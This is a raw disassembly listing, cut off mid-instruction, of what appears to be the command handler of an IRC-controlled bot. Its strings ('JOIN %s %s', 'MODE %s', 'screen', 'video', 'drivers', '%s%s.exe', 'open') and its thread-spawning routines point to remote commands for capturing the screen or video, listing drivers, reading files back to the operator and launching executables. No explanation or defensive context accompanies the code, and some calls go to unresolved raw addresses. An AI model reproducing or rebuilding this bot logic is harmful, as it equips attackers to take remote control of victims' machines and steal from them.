sub_41B779 add esp, 10h cmp eax, esi jnz short loc_408403 mov [ebp+var_638], 5 loc_408403: ; CODE XREF: sub_401ACD+692Bj cmp [ebp+var_C], ebx jz loc_406CDE push edi push [ebp+var_C] call sub_41B900 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_406CDE lea eax, [ebp+var_E10] push eax lea eax, [ebp+var_668] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx nop call near ptr 2651D2Ah test eax, eax jnz short loc_40844C push offset unk_429FE0 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40844C: ; CODE XREF: sub_401ACD+6973j push edi push offset dword_429FC4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_408457: ; CODE XREF: sub_401ACD+4ACBj ; sub_401ACD+4AE2j push edi push offset aDark ; "Dark" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085D0 lea eax, [ebp+var_48F0] push eax push 104h nop call near ptr 2690000h push 0FFh lea eax, [ebp+var_25D0] push [ebp+arg_10] push eax call sub_41B5F0 lea eax, [ebp+var_17D0] push eax call sub_40AD80 add esp, 10h push eax lea eax, [ebp+var_48F0] push eax lea eax, [ebp+var_24D0] push offset aSS_exe ; "%s%s.exe" push eax call sub_41B886 mov eax, [ebp+esi+var_84] add esp, 10h cmp eax, ebx mov [ebp+var_23CC], 1 mov [ebp+var_23C8], ebx jz short loc_4084EC push 10h push ebx push eax call sub_41BDC5 add esp, 0Ch mov [ebp+var_23C0], eax jmp short loc_4084F2 ; --------------------------------------------------------------------------- loc_4084EC: ; CODE XREF: sub_401ACD+6A09j mov [ebp+var_23C0], ebx loc_4084F2: ; CODE XREF: sub_401ACD+6A1Dj mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_408509 push esi call sub_41B779 pop ecx mov [ebp+var_23C4], eax jmp short loc_40850F ; --------------------------------------------------------------------------- loc_408509: ; CODE XREF: sub_401ACD+6A2Bj mov [ebp+var_23C4], ebx loc_40850F: ; CODE XREF: sub_401ACD+6A3Aj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_23BC], eax lea eax, [ebp+var_2650] mov [ebp+var_2654], esi push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_23B4], eax mov eax, [ebp+var_8] push [ebp+arg_10] mov [ebp+var_23B8], eax lea eax, [ebp+var_2C4] push offset dword_429F8C push eax call sub_41B886 push esi lea eax, [ebp+var_2C4] push 1Eh push eax call sub_40B0F6 add esp, 18h mov [ebp+var_23D0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2654] push ebx push eax push offset loc_4163F9 push ebx push ebx call near ptr 2670000h nop mov ecx, [ebp+var_23D0] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4085BF loc_4085A9: ; CODE XREF: sub_401ACD+6AF0j cmp [ebp+var_23B0], ebx jnz loc_406CDE push 32h call near ptr 2660F57h nop jmp short loc_4085A9 ; --------------------------------------------------------------------------- loc_4085BF: ; CODE XREF: sub_401ACD+6ADAj nop call near ptr 2670763h push eax push offset dword_429F50 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4085D0: ; CODE XREF: sub_401ACD+6999j push offset dword_429F08 loc_4085D5: ; CODE XREF: sub_401ACD+2E73j ; sub_401ACD+457Cj ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_406CDE ; --------------------------------------------------------------------------- loc_4085E8: ; CODE XREF: sub_401ACD+4A9Dj ; sub_401ACD+4AB4j push [ebp+var_8C] push offset dword_42C930 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 cmp [ebp+var_C], ebx jz loc_401E94 push edi push [ebp+var_C] call sub_41B900 pop ecx pop ecx push eax lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_429EF8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 push [ebp+arg_10] call sub_41B779 add esp, 28h test eax, eax jle short loc_408673 push [ebp+arg_10] call sub_41B779 imul eax, 3E8h pop ecx push eax call near ptr 2660F57h nop loc_408673: ; CODE XREF: sub_401ACD+6B8Ej push offset dword_429EE4 call sub_4151AC mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_401E97 ; --------------------------------------------------------------------------- loc_408687: ; CODE XREF: sub_401ACD+4A6Fj ; sub_401ACD+4A86j push [ebp+var_8C] push offset dword_42C930 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 inc edi push offset aRepeat ; "repeat" push edi mov esi, eax call sub_41C070 add esp, 10h test eax, eax push esi jz short loc_408745 push [ebp+var_88] lea eax, [ebp+var_2C4] push [ebp+var_8C] push [ebp+var_90] push offset dword_429EF8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 add esp, 24h lea eax, [ebp+var_2C4] push esi push offset dword_429ECC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h test eax, eax jle loc_409854 push [ebp+arg_10] call sub_41B779 add eax, [ebp+arg_24] pop ecx jmp loc_401E97 ; --------------------------------------------------------------------------- loc_408745: ; CODE XREF: sub_401ACD+6BFAj push offset unk_429E98 loc_40874A: ; CODE XREF: sub_401ACD+7542j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_408759: ; CODE XREF: sub_401ACD+74CAj ; sub_401ACD+7623j cmp [ebp+var_8], ebx jnz short loc_40877A push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_40877A: ; CODE XREF: sub_401ACD+6C8Fj ; sub_401ACD+72C7j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC jmp loc_409853 ; --------------------------------------------------------------------------- loc_40878B: ; CODE XREF: sub_401ACD+4A41j ; sub_401ACD+4A58j push 7Fh lea eax, [ebp+var_2214] push [ebp+arg_10] push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2194] push edi push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2114] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 24h mov esi, [ebp+arg_4] mov [ebp+var_2090], eax mov eax, [ebp+var_8] push edi push [ebp+arg_10] mov [ebp+var_208C], eax lea eax, [ebp+var_2C4] mov [ebp+var_2218], esi push offset unk_429E64 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Fh push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2094], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2218] push ebx push eax push offset byte_4143CB push ebx push ebx nop call near ptr 2670000h mov ecx, [ebp+var_2094] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40884B loc_408839: ; CODE XREF: sub_401ACD+6D7Cj cmp [ebp+var_2088], ebx jnz short loc_408866 push 32h nop call near ptr 2660F57h jmp short loc_408839 ; --------------------------------------------------------------------------- loc_40884B: ; CODE XREF: sub_401ACD+6D6Aj nop call near ptr 2670763h push eax push offset unk_429E28 loc_408857: ; CODE XREF: sub_401ACD+6E89j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_408866: ; CODE XREF: sub_401ACD+6D72j ; sub_401ACD+6E6Dj cmp [ebp+var_8], ebx jnz loc_409630 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push esi jmp loc_409628 ; --------------------------------------------------------------------------- loc_408886: ; CODE XREF: sub_401ACD+4A13j ; sub_401ACD+4A2Aj push 7Fh lea eax, [ebp+var_23A8] push [ebp+arg_10] push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2328] push edi push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_22A8] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 24h mov esi, [ebp+arg_4] mov [ebp+var_2224], eax mov eax, [ebp+var_8] push edi push [ebp+arg_10] mov [ebp+var_2220], eax lea eax, [ebp+var_2C4] mov [ebp+var_23AC], esi push offset dword_429DFC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 11h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2228], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_23AC] push ebx push eax push offset byte_413B77 push ebx push ebx nop call near ptr 2670000h mov ecx, [ebp+var_2228] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40894A loc_408934: ; CODE XREF: sub_401ACD+6E7Bj cmp [ebp+var_221C], ebx jnz loc_408866 push 32h call near ptr 2660F57h nop jmp short loc_408934 ; --------------------------------------------------------------------------- loc_40894A: ; CODE XREF: sub_401ACD+6E65j nop call near ptr 2670763h push eax push offset dword_429DC0 jmp loc_408857 ; --------------------------------------------------------------------------- loc_40895B: ; CODE XREF: sub_401ACD+49E5j ; sub_401ACD+49FCj push edi lea eax, [ebp+var_2C4] push offset dword_429DB8 push eax call sub_41B886 push [ebp+arg_10] call sub_41B779 add esp, 10h loc_408978: ; CODE XREF: sub_401ACD+6F16j test eax, eax jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 loc_408994: ; CODE XREF: sub_401ACD+7A55j lea eax, [ebp+var_2C4] push eax push offset dword_429DB0 push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C jmp loc_404933 ; --------------------------------------------------------------------------- loc_4089BF: ; CODE XREF: sub_401ACD+49B7j ; sub_401ACD+49CEj push [ebp+esi+var_84] lea eax, [ebp+var_2C4] push edi push offset dword_429DA4 push eax call sub_41B886 push [ebp+arg_10] call sub_41B779 add esp, 14h jmp short loc_408978 ; --------------------------------------------------------------------------- loc_4089E5: ; CODE XREF: sub_401ACD+4989j ; sub_401ACD+49A0j push edi lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 mov esi, [ebp+arg_10] push esi call sub_41B779 add esp, 10h test eax, eax jle loc_409854 push esi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 lea eax, [ebp+var_2C4] push eax push offset dword_429DB0 push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C add esp, 0Ch push edi push esi push offset dword_429D88 loc_408A4B: ; CODE XREF: sub_401ACD+7009j ; sub_401ACD+7078j ... call sub_415220 jmp loc_404933 ; --------------------------------------------------------------------------- loc_408A55: ; CODE XREF: sub_401ACD+495Bj ; sub_401ACD+4972j cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408A84 push esi lea eax, [ebp+var_2C4] push offset dword_429D80 push eax call sub_41B886 add esp, 0Ch loc_408A84: ; CODE XREF: sub_401ACD+6FA0j mov edi, [ebp+arg_10] push edi call sub_41B779 test eax, eax pop ecx jle loc_409854 push edi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 lea eax, [ebp+var_2C4] push eax push offset dword_429DB0 push edi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C add esp, 0Ch push esi push edi push offset dword_429D64 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408ADB: ; CODE XREF: sub_401ACD+492Dj ; sub_401ACD+4944j cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 mov edi, [ebp+arg_10] push edi call sub_41B779 test eax, eax pop ecx jle loc_409854 push edi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push esi push offset dword_429DB0 push edi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C add esp, 0Ch push esi push edi push offset dword_429D48 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408B4A: ; CODE XREF: sub_401ACD+48FFj ; sub_401ACD+4916j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push esi push offset aModeS ; "MODE %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push esi push offset unk_429D20 jmp loc_40984D ; --------------------------------------------------------------------------- loc_408B86: ; CODE XREF: sub_401ACD+48D1j ; sub_401ACD+48E8j push [ebp+var_8C] push offset dword_42C930 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 push edi push offset dword_429D14 push [ebp+arg_4] call sub_409A2C push [ebp+arg_10] call sub_41B779 imul eax, 3E8h add esp, 10h push eax call near ptr 2660F57h nop push [ebp+esi+var_84] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_429D00 call sub_4151AC jmp loc_40351F ; --------------------------------------------------------------------------- loc_408BEA: ; CODE XREF: sub_401ACD+48A3j ; sub_401ACD+48BAj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] call sub_41AFE0 push [ebp+arg_8] mov esi, eax call sub_41AFE0 add eax, [ebp+var_C] push edi lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409854 push esi lea eax, [ebp+var_2C4] push offset dword_42A434 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push ebx push eax push [ebp+arg_10] push [ebp+arg_4] call sub_409A72 add esp, 20h push esi push [ebp+arg_10] push offset unk_429CE4 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408C57: ; CODE XREF: sub_401ACD+4875j ; sub_401ACD+488Cj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] call sub_41AFE0 push [ebp+arg_8] mov esi, eax call sub_41AFE0 add eax, [ebp+var_C] push edi lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409854 push ebx push ebx push esi push [ebp+arg_10] push [ebp+arg_4] call sub_409A72 add esp, 14h push esi push [ebp+arg_10] push offset unk_429CC4 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408CAC: ; CODE XREF: sub_401ACD+4847j ; sub_401ACD+485Ej cmp [ebp+var_C], ebx jz loc_401E94 push edi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_401E94 push eax push [ebp+arg_10] call sub_4150B4 pop ecx pop ecx push [ebp+arg_10] push offset unk_429CA4 loc_408CDB: ; CODE XREF: sub_401ACD+5852j ; sub_401ACD+7B2Aj lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_40960F ; --------------------------------------------------------------------------- loc_408CEF: ; CODE XREF: sub_401ACD+4819j ; sub_401ACD+4830j push edi push [ebp+arg_10] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4184E1 jmp loc_4040FC ; --------------------------------------------------------------------------- loc_408D09: ; CODE XREF: sub_401ACD+47DBj ; sub_401ACD+47F0j push [ebp+arg_10] push [ebp+arg_1C] call sub_41B900 pop ecx test eax, eax pop ecx jz loc_409854 mov esi, [ebp+esi+var_88] cmp esi, ebx jz loc_408DB1 push esi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408D99 push esi lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_429EF8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 add esp, 24h lea eax, [ebp+var_2C4] push esi push [ebp+arg_10] push offset unk_429C7C push eax call sub_41B886 add esp, 10h inc [ebp+arg_24] jmp loc_40877A ; --------------------------------------------------------------------------- loc_408D99: ; CODE XREF: sub_401ACD+726Fj lea eax, [ebp+var_2C4] push offset unk_429C4C push eax call sub_41B886 pop ecx pop ecx jmp loc_40877A ; --------------------------------------------------------------------------- loc_408DB1: ; CODE XREF: sub_401ACD+725Aj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41ACF6 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h lea eax, [ebp+var_2C4] push [ebp+arg_10] push offset dword_429C30 push 200h push eax call sub_41B980 add esp, 10h jmp loc_40877A ; --------------------------------------------------------------------------- loc_408DFD: ; CODE XREF: sub_401ACD+47B1j ; sub_401ACD+47C6j push offset aScreen ; "screen" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_408E58 mov edi, [ebp+esi+var_88] cmp edi, ebx jz short loc_408E45 push edi call sub_4153BC cmp eax, 1 pop ecx jnz short loc_408E3E push edi lea eax, [ebp+var_2C4] push offset unk_429BFC push eax call sub_41B886 add esp, 0Ch jmp short loc_408E58 ; --------------------------------------------------------------------------- loc_408E3E: ; CODE XREF: sub_401ACD+7358j push offset unk_429BCC jmp short loc_408E4A ; --------------------------------------------------------------------------- loc_408E45: ; CODE XREF: sub_401ACD+734Cj push offset unk_429B90 loc_408E4A: ; CODE XREF: sub_401ACD+7376j lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_408E58: ; CODE XREF: sub_401ACD+7341j ; sub_401ACD+736Fj push offset aDrivers ; "drivers" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_408EE5 xor edi, edi loc_408E6D: ; CODE XREF: sub_401ACD+7403j lea eax, [ebp+var_53F8] push 1FFh push eax lea eax, [ebp+var_4EF0] push 0FFh push eax push edi call dword_4CAFA4 test eax, eax jz short loc_408ECC lea eax, [ebp+var_53F8] push eax lea eax, [ebp+var_4EF0] push eax push edi lea eax, [ebp+var_5D88] push offset unk_429B60 push eax call sub_41B886 push ebx lea eax, [ebp+var_5D88] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 28h loc_408ECC: ; CODE XREF: sub_401ACD+73C1j inc edi cmp edi, 0Ah jl short loc_408E6D lea eax, [ebp+var_2C4] push offset unk_429B38 push eax call sub_41B886 pop ecx pop ecx loc_408EE5: ; CODE XREF: sub_401ACD+739Cj push offset aFrame ; "frame" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_408F86 cmp [ebp+esi+var_88], ebx jz short loc_408F73 cmp [ebp+esi+var_84], ebx jz short loc_408F73 mov edi, [ebp+esi+var_80] cmp edi, ebx jz short loc_408F73 mov eax, [ebp+esi+var_7C] cmp eax, ebx jz short loc_408F73 push eax call sub_41B779 pop ecx push eax push edi call sub_41B779 pop ecx push eax push [ebp+esi+var_84] call sub_41B779 pop ecx push eax push [ebp+esi+var_88] call sub_4155F7 add esp, 10h test eax, eax jnz short loc_408F6C push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset unk_429B04 push eax call sub_41B886 add esp, 0Ch jmp short loc_408F86 ; --------------------------------------------------------------------------- loc_408F6C: ; CODE XREF: sub_401ACD+7480j push offset unk_429AD0 jmp short loc_408F78 ; --------------------------------------------------------------------------- loc_408F73: ; CODE XREF: sub_401ACD+7436j ; sub_401ACD+743Fj ... push offset unk_429A98 loc_408F78: ; CODE XREF: sub_401ACD+74A4j lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_408F86: ; CODE XREF: sub_401ACD+7429j ; sub_401ACD+749Dj push offset aVideo ; "video" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_408759 mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_1C], eax jz short loc_40901E mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz short loc_40901E mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_18], eax jz short loc_40901E mov edi, [ebp+esi+var_7C] cmp edi, ebx jz short loc_40901E mov esi, [ebp+esi+var_78] cmp esi, ebx jz short loc_40901E push esi call sub_41B779 pop ecx push eax push edi call sub_41B779 pop ecx push eax push [ebp+arg_18] call sub_41B779 pop ecx push eax push [ebp+arg_0] call sub_41B779 pop ecx push eax push [ebp+arg_1C] call sub_4157F0 add esp, 14h test eax, eax jnz short loc_409014 push [ebp+arg_1C] push offset unk_429A64 jmp loc_40874A ; --------------------------------------------------------------------------- loc_409014: ; CODE XREF: sub_401ACD+7538j push offset unk_429A24 jmp loc_4090E2 ; --------------------------------------------------------------------------- loc_40901E: ; CODE XREF: sub_401ACD+74DCj ; sub_401ACD+74EAj ... push offset unk_4299E4 jmp loc_4090E2 ; --------------------------------------------------------------------------- loc_409028: ; CODE XREF: sub_401ACD+4041j ; sub_401ACD+4056j push offset aR ; "r" push [ebp+arg_10] call sub_41B4C2 mov edi, eax pop ecx cmp edi, ebx pop ecx jz short loc_409098 mov esi, 200h push edi lea eax, [ebp+var_2C4] push esi push eax call sub_41BB4F add esp, 0Ch loc_409053: ; CODE XREF: sub_401ACD+75B5j test eax, eax jz short loc_409084 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push edi lea eax, [ebp+var_2C4] push esi push eax call sub_41BB4F add esp, 20h jmp short loc_409053 ; --------------------------------------------------------------------------- loc_409084: ; CODE XREF: sub_401ACD+7588j push edi call sub_41B05B pop ecx push [ebp+arg_10] push offset unk_4299C0 jmp loc_409226 ; --------------------------------------------------------------------------- loc_409098: ; CODE XREF: sub_401ACD+756Ej push [ebp+arg_10] push offset unk_42999C jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4090A5: ; CODE XREF: sub_401ACD+4017j ; sub_401ACD+402Cj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push offset asc_429998 ; "\n" push esi call sub_41BEC0 push esi call sub_419A50 add esp, 0Ch test eax, eax jnz short loc_4090F5 push offset unk_42996C loc_4090E2: ; CODE XREF: sub_401ACD+754Cj ; sub_401ACD+7556j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_408759 ; --------------------------------------------------------------------------- loc_4090F5: ; CODE XREF: sub_401ACD+760Ej push esi lea eax, [ebp+var_2C4] push offset dword_429954 push eax call sub_41B886 add esp, 0Ch jmp loc_40877A ; --------------------------------------------------------------------------- loc_40910F: ; CODE XREF: sub_401ACD+3FEDj ; sub_401ACD+4002j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_409854 push eax call sub_418211 test eax, eax pop ecx jnz short loc_40913F push offset unk_429934 jmp short loc_4090E2 ; --------------------------------------------------------------------------- loc_40913F: ; CODE XREF: sub_401ACD+7669j push offset dword_429918 jmp short loc_4090E2 ; --------------------------------------------------------------------------- loc_409146: ; CODE XREF: sub_401ACD+3FC3j ; sub_401ACD+3FD8j push 7Fh lea eax, [ebp+var_2080] push [ebp+arg_10] push eax call sub_41B5F0 mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jz short loc_409177 push 7Fh lea eax, [ebp+var_2000] push esi push eax call sub_41B5F0 add esp, 0Ch loc_409177: ; CODE XREF: sub_401ACD+7696j push 7Fh lea eax, [ebp+var_1F80] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_2084], eax mov eax, [ebp+var_8] push [ebp+arg_10] mov [ebp+var_1EFC], eax mov eax, [ebp+var_4] mov [ebp+var_1EF8], eax lea eax, [ebp+var_2C4] push offset dword_429900 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ch push eax call sub_40B0F6 add esp, 18h mov [ebp+var_1F00], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2084] push ebx push eax push offset sub_41ADB5 push ebx push ebx nop call near ptr 2670000h mov ecx, [ebp+var_1F00] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40921A loc_409204: ; CODE XREF: sub_401ACD+774Bj cmp [ebp+var_1EF4], ebx jnz loc_406CFF push 32h nop call near ptr 2660F57h jmp short loc_409204 ; --------------------------------------------------------------------------- loc_40921A: ; CODE XREF: sub_401ACD+7735j nop call near ptr 2670763h push eax push offset unk_4298C0 loc_409226: ; CODE XREF: sub_401ACD+29CEj ; sub_401ACD+75C6j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_406CFF ; --------------------------------------------------------------------------- loc_40923A: ; CODE XREF: sub_401ACD+3F99j ; sub_401ACD+3FAEj push ebx push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_10] call sub_40F96A add esp, 10h push [ebp+arg_10] push offset dword_4298A8 jmp loc_40984D ; --------------------------------------------------------------------------- loc_40925C: ; CODE XREF: sub_401ACD+3F6Fj ; sub_401ACD+3F84j push 14h lea eax, [ebp+var_1D48] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1D34] push [ebp+arg_10] push offset aS_1 ; "%s" push eax call sub_41B886 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1D50], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_1C30] push 80h push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1BA8], eax mov eax, [ebp+var_8] mov [ebp+var_1BA4], eax lea eax, [ebp+var_1C30] push eax lea eax, [ebp+var_1D34] push eax lea eax, [ebp+var_2C4] push offset unk_429884 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_1BAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1D50] push ebx push eax push offset loc_415E1A push ebx push ebx call near ptr 2670000h nop mov ecx, [ebp+var_1BAC] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz loc_4023E6 loc_409325: ; CODE XREF: sub_401ACD+786Cj cmp [ebp+var_1BA0], ebx jnz loc_4083BC push 32h nop call near ptr 2660F57h jmp short loc_409325 ; --------------------------------------------------------------------------- loc_40933B: ; CODE XREF: sub_401ACD+3F45j ; sub_401ACD+3F5Aj push [ebp+arg_10] call near ptr 267015Dh nop test eax, eax jz short loc_409366 push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset dword_429868 push 200h push eax call sub_41B980 jmp loc_409444 ; --------------------------------------------------------------------------- loc_409366: ; CODE XREF: sub_401ACD+7879j push offset dword_42A070 call sub_41814C pop ecx push eax jmp loc_403F47 ; --------------------------------------------------------------------------- loc_409377: ; CODE XREF: sub_401ACD+3F1Bj ; sub_401ACD+3F30j push [ebp+arg_10] call sub_41B779 push eax call sub_4199C9 pop ecx pop ecx push 1 pop esi push [ebp+arg_10] cmp eax, esi jnz short loc_409398 push offset unk_429844 jmp short loc_40939D ; --------------------------------------------------------------------------- loc_409398: ; CODE XREF: sub_401ACD+78C2j push offset unk_429814 loc_40939D: ; CODE XREF: sub_401ACD+78C9j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_406D02 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_406D02 ; --------------------------------------------------------------------------- loc_4093D6: ; CODE XREF: sub_401ACD+3EF1j ; sub_401ACD+3F06j push ebx push ebx push [ebp+arg_10] push [ebp+var_4] push ebx push [ebp+arg_4] call sub_4196BC add esp, 18h cmp eax, 1 push [ebp+arg_10] jnz short loc_4093FC push offset unk_4297F4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4093FC: ; CODE XREF: sub_401ACD+7923j push offset unk_4297C4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_409406: ; CODE XREF: sub_401ACD+3EC7j ; sub_401ACD+3EDCj mov esi, [ebp+arg_10] push esi call dword_4CAFB4 cmp eax, 0FFFFFFFFh mov [ebp+var_2D8], eax jz short loc_40944C push 2 lea eax, [ebp+var_2D8] push 4 push eax call dword_4CAF2C cmp eax, ebx jz short loc_409467 push dword ptr [eax] loc_409432: ; CODE XREF: sub_401ACD+7998j push esi lea eax, [ebp+var_2C4] push offset unk_4297A4 push eax call sub_41B886 loc_409444: ; CODE XREF: sub_401ACD+7894j add esp, 10h jmp loc_406CDE ; --------------------------------------------------------------------------- loc_40944C: ; CODE XREF: sub_401ACD+794Cj push esi call dword_4CAFF8 cmp eax, ebx jz short loc_409467 mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_4CB000 push eax jmp short loc_409432 ; --------------------------------------------------------------------------- loc_409467: ; CODE XREF: sub_401ACD+7961j ; sub_401ACD+7988j push offset unk_42977C jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_409471: ; CODE XREF: sub_401ACD+3E9Dj ; sub_401ACD+3EB2j push 7Fh push [ebp+arg_10] push [ebp+arg_14] call sub_41B5F0 add esp, 0Ch push [ebp+arg_10] push offset unk_429754 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40948E: ; CODE XREF: sub_401ACD+3E73j ; sub_401ACD+3E88j push 5 push ebx push ebx push [ebp+arg_10] push offset aOpen ; "open" push ebx call dword_4CAEE0 push [ebp+arg_10] test eax, eax jz short loc_4094B2 push offset unk_429734 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4094B2: ; CODE XREF: sub_401ACD+79D9j push offset unk_429710 jmp 